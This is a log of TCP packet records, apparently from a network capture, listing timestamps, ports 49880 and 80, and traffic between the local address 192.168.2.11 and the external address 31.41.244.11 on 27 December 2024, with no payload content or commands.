Dec 27, 2024 09:03:27.552592039 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.552664042 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.552707911 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.554176092 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.554236889 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.554250002 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.554272890 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.555604935 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.555649996 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.555701971 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.555742025 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.557127953 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.557176113 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.557209969 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.557252884 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.558657885 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.558703899 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.558769941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.558809996 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.560173988 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.560218096 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.560309887 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.560350895 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.561703920 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.561750889 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.561805964 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.561846018 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.563210011 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.563254118 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.563303947 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.563344955 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.564728975 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.564769983 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.564800024 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.564846039 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.566265106 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.566312075 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.566363096 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.566406012 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.567784071 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.567845106 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.567892075 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.567936897 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.569313049 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.569380045 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.569420099 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.569462061 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.570859909 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.570909977 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.570991993 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.571036100 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.572417974 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.572438002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.572463036 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.572488070 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.573913097 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.574008942 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.574027061 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.574101925 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.575402021 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.575463057 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.575596094 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.575644970 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.576905012 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.576967001 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.577003956 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.577060938 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.578511953 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.578567028 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.578584909 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.578619003 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.580162048 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.580213070 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.580276966 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.580322981 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.581568956 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.581625938 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.581630945 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.581672907 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.582992077 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.583067894 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.583081007 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.583127022 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.584513903 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.584569931 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.584614992 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.584660053 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.586042881 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.586092949 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.586183071 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.586230040 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.587543011 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.587591887 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.587630987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.587677956 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.589072943 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.589133978 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.589168072 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.589212894 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.590570927 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.590631962 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.705082893 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.705178976 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.705332041 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.705631018 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.705705881 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.705744982 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.705797911 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.706944942 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.706994057 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.707029104 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.707073927 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.708224058 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.708273888 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.708321095 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.708364964 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.709522009 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.709553003 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.709578991 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.709590912 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.710818052 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.710881948 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.710903883 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.710942984 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.712063074 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.712137938 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.712145090 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.712188959 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.713315964 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.713370085 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.713382006 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.713428974 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.714539051 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.714601994 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.714618921 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.714663982 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.715768099 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.715840101 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.715862036 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.715903044 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.717006922 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.717062950 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.717102051 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.717152119 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.718270063 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.718324900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.718348980 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.718394995 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.719527960 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.719583988 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.719619989 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.719661951 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.720796108 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.720846891 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.720889091 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.720932961 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.722004890 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.722059011 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.722229004 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.722279072 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.723227024 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.723275900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.723321915 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.723366976 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.724457026 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.724505901 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.724550962 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.724596024 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.725698948 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.725748062 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.725781918 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.725846052 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.726947069 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.726999998 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.727094889 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.727139950 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.728177071 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.728226900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.728272915 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.728316069 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.729446888 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.729497910 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.729523897 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.729566097 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.730698109 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.730743885 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.730833054 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.730911016 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.731929064 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.731977940 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.732003927 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.732048988 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.733139992 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.733187914 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.733242035 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.733285904 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.734409094 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.734457016 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.734491110 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.734533072 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.735649109 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.735693932 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.735735893 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.735778093 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.736898899 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.736944914 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.736970901 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.736985922 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.738162041 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.738208055 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.738255978 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.738301039 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.739389896 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.739415884 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.739444017 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.739444017 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.740622044 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.740672112 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.740685940 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.740725994 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.741889000 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.741940022 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.741974115 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.742016077 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.743108988 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.743154049 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.743199110 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.743240118 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.744343042 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.744394064 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.744430065 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.744471073 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.745652914 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.745697975 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.745712042 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.745754004 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.746812105 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.746856928 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.746903896 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.746973991 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.748097897 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.748156071 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.748163939 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.748203993 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.749366045 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.749416113 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.749442101 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.749488115 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.750574112 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.750622988 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.750679970 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.750716925 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.751790047 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.751835108 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.751887083 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.751926899 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.753063917 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.753093958 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.753123999 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.753134012 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.754264116 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.754309893 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.754358053 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.754395008 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.755587101 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.755662918 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.755692959 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.755739927 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.756772041 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.756825924 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.756866932 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.756913900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.758007050 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.758061886 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.758096933 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.758141041 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.759232044 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.759259939 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.759284973 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.759325027 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.760499954 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.760559082 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.760602951 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.760647058 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.761732101 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.761785030 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.761831999 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.761873007 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.762989998 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.763036966 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.763076067 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.763117075 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.764244080 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.764302015 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.764336109 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.764379025 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.765485048 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.765515089 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.765566111 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.766731024 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.766781092 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.766787052 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.766827106 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.767961979 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.768043995 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.768062115 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.768093109 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.769227028 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.769279957 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.769320011 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.769362926 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.770391941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.770443916 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.897068024 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.897154093 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.897281885 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.897326946 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.897630930 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.897667885 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.897716045 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.897753000 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.898843050 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.898880959 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.898947001 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.898983002 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.899995089 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.900049925 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.900077105 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.900115013 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.901226044 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.901264906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.901299953 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.901333094 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.902370930 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.902416945 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.902451038 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.902512074 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.903578997 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.903630018 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.903635979 CET	49880	80	192.168.2.11	31.41.244.11
